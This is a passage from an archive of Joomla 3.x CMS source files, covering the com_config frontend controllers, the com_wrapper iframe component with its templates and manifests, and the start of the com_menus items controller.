		$app = $this->getApplication();

		// Get the document object.
		$document     = JFactory::getDocument();

		$viewName     = $this->input->getWord('view', 'modules');
		$viewFormat   = $document->getType();
		$layoutName   = $this->input->getWord('layout', 'default');
		$returnUri    = $this->input->get->get('return', null, 'base64');

		// Construct redirect URI
		if (!empty($returnUri))
		{
			$redirect = base64_decode(urldecode($returnUri));

			// Don't redirect to an external URL.
			if (!JUri::isInternal($redirect))
			{
				$redirect = JUri::base();
			}
		}
		else
		{
			$redirect = JUri::base();
		}

		// Access backend com_module
		JLoader::register('ModulesController', JPATH_ADMINISTRATOR . '/components/com_modules/controller.php');
		JLoader::register('ModulesViewModule', JPATH_ADMINISTRATOR . '/components/com_modules/views/module/view.json.php');
		JLoader::register('ModulesModelModule', JPATH_ADMINISTRATOR . '/components/com_modules/models/module.php');

		$displayClass = new ModulesController;

		// Get the parameters of the module with Id
		$document->setType('json');

		// Execute backend controller
		if (!($serviceData = json_decode($displayClass->display(), true)))
		{
			$app->redirect($redirect);
		}

		// Reset params back after requesting from service
		$document->setType('html');
		$app->input->set('view', $viewName);

		// Register the layout paths for the view
		$paths = new SplPriorityQueue;
		$paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal');

		$viewClass  = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat);
		$modelClass = 'ConfigModel' . ucfirst($viewName);

		if (class_exists($viewClass))
		{
			$model = new $modelClass;

			// Access check.
			$user = JFactory::getUser();

			if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $serviceData['id']))
			{
				$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
				$app->redirect($redirect);
			}

			// Need to add module name to the state of model
			$model->getState()->set('module.name', $serviceData['module']);

			$view = new $viewClass($model, $paths);

			$view->setLayout($layoutName);

			// Push document object into the view.
			$view->document = $document;

			// Load form and bind data
			$form = $model->getForm();

			if ($form)
			{
				$form->bind($serviceData);
			}

			// Set form and data to the view
			$view->form = &$form;
			$view->item = &$serviceData;

			// Render view.
			echo $view->render();
		}

		return true;
	}
}
com_config/controller/modules/save.php000060400000006215152453734460014166 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Save Controller for module editing
 *
 * @package     Joomla.Site
 * @subpackage  com_config
 * @since       3.2
 */
class ConfigControllerModulesSave extends JControllerBase
{
	/**
	 * Method to save module editing.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check for request forgeries.
		if (!JSession::checkToken())
		{
			$this->app->enqueueMessage(JText::_('JINVALID_TOKEN'));
			$this->app->redirect('index.php');
		}

		// Check if the user is authorized to do this.
		$user = JFactory::getUser();

		if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $this->input->get('id')))
		{
			$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
			$this->app->redirect('index.php');
		}

		// Set FTP credentials, if given.
		JClientHelper::setCredentialsFromRequest('ftp');

		// Get submitted module id
		$moduleId = '&id=' . $this->input->get('id');

		// Get returnUri
		$returnUri = $this->input->post->get('return', null, 'base64');
		$redirect = '';

		if (!empty($returnUri))
		{
			$redirect = '&return=' . $returnUri;
		}

		// Access backend com_modules to be done
		JLoader::register('ModulesControllerModule', JPATH_ADMINISTRATOR . '/components/com_modules/controllers/module.php');
		JLoader::register('ModulesModelModule', JPATH_ADMINISTRATOR . '/components/com_modules/models/module.php');

		$controllerClass = new ModulesControllerModule;

		// Get a document object
		$document = JFactory::getDocument();

		// Set backend required params
		$document->setType('json');

		// Execute backend controller
		$return = $controllerClass->save();

		// Reset params back after requesting from service
		$document->setType('html');

		// Check the return value.
		if ($return === false)
		{
			// Save the data in the session.
			$data = $this->input->post->get('jform', array(), 'array');

			$this->app->setUserState('com_config.modules.global.data', $data);

			// Save failed, go back to the screen and display a notice.
			$this->app->enqueueMessage(JText::_('JERROR_SAVE_FAILED'));
			$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.modules' . $moduleId . $redirect, false));
		}

		// Redirect back to com_config display
		$this->app->enqueueMessage(JText::_('COM_CONFIG_MODULES_SAVE_SUCCESS'));

		// Set the redirect based on the task.
		switch ($this->options[3])
		{
			case 'apply':
				$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.modules' . $moduleId . $redirect, false));
				break;

			case 'save':
			default:

				if (!empty($returnUri))
				{
					$redirect = base64_decode(urldecode($returnUri));

					// Don't redirect to an external URL.
					if (!JUri::isInternal($redirect))
					{
						$redirect = JUri::base();
					}
				}
				else
				{
					$redirect = JUri::base();
				}

				$this->app->redirect($redirect);
				break;
		}
	}
}
com_config/controller/helper.php000060400000005071152453734460013036 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper class for controllers
 *
 * @since  3.2
 */
class ConfigControllerHelper
{
	/**
	 * Method to parse a controller from a url
	 * Defaults to the base controllers and passes an array of options.
	 * $options[0] is the location of the controller which defaults to the core libraries (referenced as 'j'
	 * and then the named folder within the component entry point file.
	 * $options[1] is the name of the controller file,
	 * $options[2] is the name of the folder found in the component controller folder for controllers
	 * not prefixed with Config.
	 * Additional options maybe added to parameterize the controller.
	 *
	 * @param   JApplicationBase  $app  An application object
	 *
	 * @return  JController  A JController object
	 *
	 * @since   3.2
	 */
	public function parseController($app)
	{
		$tasks = array();

		if ($task = $app->input->get('task'))
		{
			// Toolbar expects old style but we are using new style
			// Remove when toolbar can handle either directly
			if (strpos($task, '/') !== false)
			{
				$tasks = explode('/', $task);
			}
			else
			{
				$tasks = explode('.', $task);
			}
		}
		elseif ($controllerTask = $app->input->get('controller'))
		{
			// Temporary solution
			if (strpos($controllerTask, '/') !== false)
			{
				$tasks = explode('/', $controllerTask);
			}
			else
			{
				$tasks = explode('.', $controllerTask);
			}
		}

		if (empty($tasks[0]) || $tasks[0] === 'Config')
		{
			$location = 'Config';
		}
		else
		{
			$location = ucfirst(strtolower($tasks[0]));
		}

		if (empty($tasks[1]))
		{
			$activity = 'Display';
		}
		else
		{
			$activity = ucfirst(strtolower($tasks[1]));
		}

		$view = '';

		if (!empty($tasks[2]))
		{
			$view = ucfirst(strtolower($tasks[2]));
		}

		// Some special handling for com_config administrator
		$option = $app->input->get('option');

		if ($option === 'com_config' && $app->isClient('administrator'))
		{
			$component = $app->input->get('component');

			if (!empty($component))
			{
				$view = 'Component';
			}
			elseif ($option === 'com_config')
			{
				$view = 'Application';
			}
		}

		$controllerName = $location . 'Controller' . $view . $activity;

		if (!class_exists($controllerName))
		{
			return false;
		}

		$controller = new $controllerName;
		$controller->options = array();
		$controller->options = $tasks;

		return $controller;
	}
}
com_config/controller/config/display.php000060400000004435152453734460014474 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Display Controller for global configuration
 *
 * @since  3.2
 */
class ConfigControllerConfigDisplay extends ConfigControllerDisplay
{
	/**
	 * Method to display global configuration.
	 *
	 * @return  boolean	True on success, false on failure.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Get the application
		$app = $this->getApplication();

		// Get the document object.
		$document     = JFactory::getDocument();

		$viewName     = $this->input->getWord('view', 'config');
		$viewFormat   = $document->getType();
		$layoutName   = $this->input->getWord('layout', 'default');

		// Access backend com_config
		JLoader::registerPrefix(ucfirst($viewName), JPATH_ADMINISTRATOR . '/components/com_config');
		$displayClass = new ConfigControllerApplicationDisplay;

		// Set backend required params
		$document->setType('json');
		$app->input->set('view', 'application');

		// Execute backend controller
		$serviceData = json_decode($displayClass->execute(), true);

		// Reset params back after requesting from service
		$document->setType('html');
		$app->input->set('view', $viewName);

		// Register the layout paths for the view
		$paths = new SplPriorityQueue;
		$paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal');

		$viewClass  = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat);
		$modelClass = 'ConfigModel' . ucfirst($viewName);

		if (class_exists($viewClass))
		{
			if ($viewName !== 'close')
			{
				$model = new $modelClass;

				// Access check.
				if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option')))
				{
					return;
				}
			}

			$view = new $viewClass($model, $paths);

			$view->setLayout($layoutName);

			// Push document object into the view.
			$view->document = $document;

			// Load form and bind data
			$form = $model->getForm();

			if ($form)
			{
				$form->bind($serviceData);
			}

			// Set form and data to the view
			$view->form = &$form;
			$view->data = &$serviceData;

			// Render view.
			echo $view->render();
		}

		return true;
	}
}
com_config/controller/config/save.php000060400000005617152453734460013770 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Save Controller for global configuration
 *
 * @since  3.2
 */
class ConfigControllerConfigSave extends JControllerBase
{
	/**
	 * Application object - Redeclared for proper typehinting
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Method to save global configuration.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check for request forgeries.
		if (!JSession::checkToken())
		{
			$this->app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE'));
			$this->app->redirect('index.php');
		}

		// Check if the user is authorized to do this.
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			$this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'));
			$this->app->redirect('index.php');
		}

		// Set FTP credentials, if given.
		JClientHelper::setCredentialsFromRequest('ftp');

		$model = new ConfigModelConfig;
		$form  = $model->getForm();
		$data  = $this->input->post->get('jform', array(), 'array');

		// Validate the posted data.
		$return = $model->validate($form, $data);

		// Check for validation errors.
		if ($return === false)
		{
			/*
			 * The validate method enqueued all messages for us, so we just need to redirect back.
			 */

			// Save the data in the session.
			$this->app->setUserState('com_config.config.global.data', $data);

			// Redirect back to the edit screen.
			$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false));
		}

		// Attempt to save the configuration.
		$data = $return;

		// Access backend com_config
		JLoader::registerPrefix('Config', JPATH_ADMINISTRATOR . '/components/com_config');
		$saveClass = new ConfigControllerApplicationSave;

		// Get a document object
		$document = JFactory::getDocument();

		// Set backend required params
		$document->setType('json');

		// Execute backend controller
		$return = $saveClass->execute();

		// Reset params back after requesting from service
		$document->setType('html');

		// Check the return value.
		if ($return === false)
		{
			/*
			 * The save method enqueued all messages for us, so we just need to redirect back.
			 */

			// Save the data in the session.
			$this->app->setUserState('com_config.config.global.data', $data);

			// Save failed, go back to the screen and display a notice.
			$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false));
		}

		// Redirect back to com_config display
		$this->app->enqueueMessage(JText::_('COM_CONFIG_SAVE_SUCCESS'));
		$this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false));

		return true;
	}
}
com_config/controller/cancel.php000060400000001301152453734460012774 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Cancel Controller
 *
 * @since  3.2
 */
class ConfigControllerCancel extends JControllerBase
{
	/**
	 * Application object - Redeclared for proper typehinting
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Method to handle cancel
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Redirect back to home(base) page
		$this->app->redirect(JUri::base());
	}
}
com_config/controller/cmsbase.php000060400000002073152453734460013173 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Base Display Controller
 *
 * @since  3.2
 */
class ConfigControllerCmsbase extends JControllerBase
{
	/**
	 * Prefix for the view and model classes
	 *
	 * @var    string
	 * @since  3.2
	 */
	public $prefix;

	/**
	 * Execute the controller.
	 *
	 * @return  mixed  A rendered view or true
	 *
	 * @since   3.2
	 */
	public function execute()
	{
		// Check for request forgeries
		if (!JSession::checkToken())
		{
			$this->app->enqueueMessage(JText::_('JINVALID_TOKEN_NOTICE'));
			$this->app->redirect('index.php');
		}

		// Get the application
		$this->app = $this->getApplication();
		$this->app->redirect('index.php?option=' . $this->input->get('option'));

		$this->componentFolder = $this->input->getWord('option', 'com_content');
		$this->viewName        = $this->input->getWord('view');

		return $this;
	}
}
com_wrapper/controller.php000060400000001777152453734460012003 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_wrapper
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content Component Controller
 *
 * @since  1.5
 */
class WrapperController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JControllerLegacy  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = array())
	{
		$cachable = true;

		// Set the default view name and format from the Request.
		$vName = $this->input->get('view', 'wrapper');
		$this->input->set('view', $vName);

		return parent::display($cachable, array('Itemid' => 'INT'));
	}
}
com_wrapper/views/wrapper/view.html.php000060400000005607152453734460014346 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Wrapper view class.
 *
 * @since  1.5
 */
class WrapperViewWrapper extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.5
	 */
	public function display($tpl = null)
	{
		$app    = JFactory::getApplication();
		$params = $app->getParams();

		// Because the application sets a default page title, we need to get it
		// right from the menu item itself
		$title = $params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($params->get('menu-meta_description'))
		{
			$this->document->setDescription($params->get('menu-meta_description'));
		}

		if ($params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $params->get('menu-meta_keywords'));
		}

		if ($params->get('robots'))
		{
			$this->document->setMetadata('robots', $params->get('robots'));
		}

		$wrapper = new stdClass;

		// Auto height control
		if ($params->def('height_auto'))
		{
			$wrapper->load = 'onload="iFrameHeight(this)"';
		}
		else
		{
			$wrapper->load = '';
		}

		$url = $params->def('url', '');

		if ($params->def('add_scheme', 1))
		{
			// Adds 'http://' or 'https://' if none is set
			if (strpos($url, '//') === 0)
			{
				// URL without scheme in component. Prepend current scheme.
				$wrapper->url = JUri::getInstance()->toString(array('scheme')) . substr($url, 2);
			}
			elseif (strpos($url, '/') === 0)
			{
				// Relative URL in component. Use scheme + host + port.
				$wrapper->url = JUri::getInstance()->toString(array('scheme', 'host', 'port')) . $url;
			}
			elseif (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0)
			{
				// URL doesn't start with either 'http://' or 'https://'. Add current scheme.
				$wrapper->url = JUri::getInstance()->toString(array('scheme')) . $url;
			}
			else
			{
				// URL starts with either 'http://' or 'https://'. Do not change it.
				$wrapper->url = $url;
			}
		}
		else
		{
			$wrapper->url = $url;
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));
		$this->params        = &$params;
		$this->wrapper       = &$wrapper;

		parent::display($tpl);
	}
}
com_wrapper/views/wrapper/tmpl/default.xml000060400000004565152453734460015044 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_WRAPPER_WRAPPER_VIEW_DEFAULT_TITLE" option="COM_WRAPPER_WRAPPER_VIEW_DEFAULT_OPTION">
		<help
			key="JHELP_MENUS_MENU_ITEM_WRAPPER"
		/>
		<message>
			<![CDATA[COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the parameters object for the layout. -->
		<fields name="params">
		<fieldset name="request" label="COM_MENUS_BASIC_FIELDSET_LABEL">

			<field 
				name="url" 
				type="text"
				label="COM_WRAPPER_FIELD_URL_LABEL"
				description="COM_WRAPPER_FIELD_URL_DESC"
				size="30"
				required="true"
			/>
		</fieldset>

		<!-- Add fields to the parameters object for the layout. -->

		<!-- Scroll. -->
		<fieldset name="basic" label="COM_WRAPPER_FIELD_LABEL_SCROLLBARSPARAMS">

			<field 
				name="scrolling" 
				type="list"
				label="COM_WRAPPER_FIELD_SCROLLBARS_LABEL"
				description="COM_WRAPPER_FIELD_SCROLLBARS_DESC"
				default="auto"
				>
				<option value="no">JNO</option>
				<option value="yes">JYES</option>
				<option value="auto">COM_WRAPPER_FIELD_VALUE_AUTO</option>
			</field>

			<field 
				name="width" 
				type="text"
				label="JGLOBAL_WIDTH"
				description="COM_WRAPPER_FIELD_WIDTH_DESC"
				default="100%"
				size="5"
			/>

			<field 
				name="height" 
				type="number"
				label="COM_WRAPPER_FIELD_HEIGHT_LABEL"
				description="COM_WRAPPER_FIELD_HEIGHT_DESC"
				default="500"
				size="5"
			/>

		</fieldset>

		<!-- Advanced options. -->
		<fieldset name="advanced">

			<field 
				name="height_auto" 
				type="radio"
				label="COM_WRAPPER_FIELD_HEIGHTAUTO_LABEL"
				description="COM_WRAPPER_FIELD_HEIGHTAUTO_DESC"
				default="0"
				class="btn-group btn-group-yesno"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field 
				name="add_scheme"
				type="radio"
				label="COM_WRAPPER_FIELD_ADD_LABEL"
				description="COM_WRAPPER_FIELD_ADD_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field 
				name="frameborder"
				type="radio"
				label="COM_WRAPPER_FIELD_FRAME_LABEL"
				description="COM_WRAPPER_FIELD_FRAME_DESC"
				class="btn-group btn-group-yesno"
				default="1"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

		</fieldset>
	</fields>
</metadata>
com_wrapper/views/wrapper/tmpl/default.php000060400000003116152453734460015022 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('script', 'com_wrapper/iframe-height.min.js', array('version' => 'auto', 'relative' => true));

?>
<div class="contentpane<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php if ($this->escape($this->params->get('page_heading'))) : ?>
					<?php echo $this->escape($this->params->get('page_heading')); ?>
				<?php else : ?>
					<?php echo $this->escape($this->params->get('page_title')); ?>
				<?php endif; ?>
			</h1>
		</div>
	<?php endif; ?>
	<iframe <?php echo $this->wrapper->load; ?>
		id="blockrandom"
		name="iframe"
		src="<?php echo $this->escape($this->wrapper->url); ?>"
		width="<?php echo $this->escape($this->params->get('width')); ?>"
		height="<?php echo $this->escape($this->params->get('height')); ?>"
		scrolling="<?php echo $this->escape($this->params->get('scrolling')); ?>"
		frameborder="<?php echo $this->escape($this->params->get('frameborder', 1)); ?>"
		<?php if ($this->escape($this->params->get('page_heading'))) : ?>
			title="<?php echo $this->escape($this->params->get('page_heading')); ?>"
		<?php else : ?>
			title="<?php echo $this->escape($this->params->get('page_title')); ?>"
		<?php endif; ?>
		class="wrapper<?php echo $this->pageclass_sfx; ?>">
		<?php echo JText::_('COM_WRAPPER_NO_IFRAMES'); ?>
	</iframe>
</div>
com_wrapper/router.php000060400000003467152453734460011136 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_wrapper
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_wrapper
 *
 * @since  3.3
 */
class WrapperRouter extends JComponentRouterBase
{
	/**
	 * Build the route for the com_wrapper component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  array  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @since   3.3
	 */
	public function build(&$query)
	{
		if (isset($query['view']))
		{
			unset($query['view']);
		}

		return array();
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 *
	 * @return  array  The URL attributes to be used by the application.
	 *
	 * @since   3.3
	 */
	public function parse(&$segments)
	{
		return array('view' => 'wrapper');
	}
}

/**
 * Wrapper router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments
 *
 * @return  array  The URL arguments to use to assemble the subsequent URL.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function wrapperBuildRoute(&$query)
{
	$router = new WrapperRouter;

	return $router->build($query);
}

/**
 * Wrapper router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return  array  The URL attributes to be used by the application.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function wrapperParseRoute($segments)
{
	$router = new WrapperRouter;

	return $router->parse($segments);
}
com_wrapper/wrapper.php000060400000000630152453734460011263 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_wrapper
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$controller = JControllerLegacy::getInstance('Wrapper');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_wrapper/wrapper.xml000060400000002203152453734460011272 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_wrapper</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.
	</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_WRAPPER_XML_DESCRIPTION</description>
	<files folder="site">
		<filename>controller.php</filename>
		<filename>index.html</filename>
		<filename>metadata.xml</filename>
		<filename>router.php</filename>
		<filename>wrapper.php</filename>
		<folder>views</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_wrapper.ini</language>
	</languages>
	<administration>
		<files folder="admin">
			<filename>index.html</filename>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_wrapper.ini</language>
			<language tag="en-GB">language/en-GB.com_wrapper.sys.ini</language>
		</languages>
	</administration>
</extension>
com_menus/controllers/items.php000060400000015571152455305260012745 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * The Menu Item Controller
 *
 * @since  1.6
 */
class MenusControllerItems extends JControllerAdmin
{
	/**
	 * Constructor
	 *
	 * @param   array  $config  Optional configuration array
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);
		$this->registerTask('unsetDefault',	'setDefault');
	}

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Item', $prefix = 'MenusModel', $config = array())
	{
		return parent::getModel($name, $prefix, array('ignore_request' => true));
	}

	/**
	 * Rebuild the nested set tree.
	 *
	 * @return  boolean  False on failure or error, true on success.
	 *
	 * @since   1.6
	 */
	public function rebuild()
	{
		$this->checkToken();

		$this->setRedirect('index.php?option=com_menus&view=items');

		$model = $this->getModel();

		if ($model->rebuild())
		{
			// Reorder succeeded.
			$this->setMessage(JText::_('COM_MENUS_ITEMS_REBUILD_SUCCESS'));

			return true;
		}
		else
		{
			// Rebuild failed.
			$this->setMessage(JText::sprintf('COM_MENUS_ITEMS_REBUILD_FAILED'), 'error');

			return false;
		}
	}

	/**
	 * Save the manual order inputs from the menu items list view
	 *
	 * @return      void
	 *
	 * @see         JControllerAdmin::saveorder()
	 * @deprecated  4.0
	 */
	public function saveorder()
	{
		$this->checkToken();

		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Function will be removed in 4.0.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get the arrays from the Request
		$order = $this->input->post->get('order', null, 'array');
		$originalOrder = explode(',', $this->input->getString('original_order_values'));

		// Make sure something has changed
		if (!($order === $originalOrder))
		{
			parent::saveorder();
		}
		else
		{
			// Nothing to reorder
			$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list, false));

			return true;
		}
	}

	/**
	 * Method to set the home property for a list of items
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function setDefault()
	{
		// Check for request forgeries
		$this->checkToken('request');

		$app = JFactory::getApplication();

		// Get items to publish from the request.
		$cid   = (array) $this->input->get('cid', array(), 'int');
		$data  = array('setDefault' => 1, 'unsetDefault' => 0);
		$task  = $this->getTask();
		$value = ArrayHelper::getValue($data, $task, 0, 'int');

		// Remove zero values resulting from input filter
		$cid = array_filter($cid);

		if (empty($cid))
		{
			JError::raiseWarning(500, JText::_($this->text_prefix . '_NO_ITEM_SELECTED'));
		}
		else
		{
			// Get the model.
			$model = $this->getModel();

			// Publish the items.
			if (!$model->setHome($cid, $value))
			{
				JError::raiseWarning(500, $model->getError());
			}
			else
			{
				if ($value == 1)
				{
					$ntext = 'COM_MENUS_ITEMS_SET_HOME';
				}
				else
				{
					$ntext = 'COM_MENUS_ITEMS_UNSET_HOME';
				}

				$this->setMessage(JText::plural($ntext, count($cid)));
			}
		}

		$this->setRedirect(
			JRoute::_(
				'index.php?option=' . $this->option . '&view=' . $this->view_list
				. '&menutype=' . $app->getUserState('com_menus.items.menutype'), false
			)
		);
	}

	/**
	 * Method to publish a list of items
	 *
	 * @return  void
	 *
	 * @since   3.6.0
	 */
	public function publish()
	{
		// Check for request forgeries
		$this->checkToken();

		// Get items to publish from the request.
		$cid = (array) JFactory::getApplication()->input->get('cid', array(), 'int');
		$data = array('publish' => 1, 'unpublish' => 0, 'trash' => -2, 'report' => -3);
		$task = $this->getTask();
		$value = ArrayHelper::getValue($data, $task, 0, 'int');

		// Remove zero values resulting from input filter
		$cid = array_filter($cid);

		if (empty($cid))
		{
			try
			{
				JLog::add(JText::_($this->text_prefix . '_NO_ITEM_SELECTED'), JLog::WARNING, 'jerror');
			}
			catch (RuntimeException $exception)
			{
				JFactory::getApplication()->enqueueMessage(JText::_($this->text_prefix . '_NO_ITEM_SELECTED'), 'warning');
			}
		}
		else
		{
			// Get the model.
			$model = $this->getModel();

			// Publish the items.
			try
			{
				$model->publish($cid, $value);
				$errors      = $model->getErrors();
				$messageType = 'message';

				if ($value == 1)
				{
					if ($errors)
					{
						$messageType = 'error';
						$ntext       = $this->text_prefix . '_N_ITEMS_FAILED_PUBLISHING';
					}
					else
					{
						$ntext = $this->text_prefix . '_N_ITEMS_PUBLISHED';
					}
				}
				elseif ($value == 0)
				{
					$ntext = $this->text_prefix . '_N_ITEMS_UNPUBLISHED';
				}
				else
				{
					$ntext = $this->text_prefix . '_N_ITEMS_TRASHED';
				}

				$this->setMessage(JText::plural($ntext, count($cid)), $messageType);
			}
			catch (Exception $e)
			{
				$this->setMessage($e->getMessage(), 'error');
			}
		}

		$this->setRedirect(
			JRoute::_(
				'index.php?option=' . $this->option . '&view=' . $this->view_list . '&menutype=' .
				JFactory::getApplication()->getUserState('com_menus.items.menutype'),
				false
			)
		);
	}

	/**
	 * Check in of one or more records.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.6.0
	 */
	public function checkin()
	{
		// Check for request forgeries.
		$this->checkToken();

		// Read the Ids from the post data
		$cid = (array) JFactory::getApplication()->input->post->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$cid = array_filter($cid);

		// Run the model
		$model  = $this->getModel();
		$return = $model->checkin($cid);

		if ($return === false)
		{
			// Checkin failed.
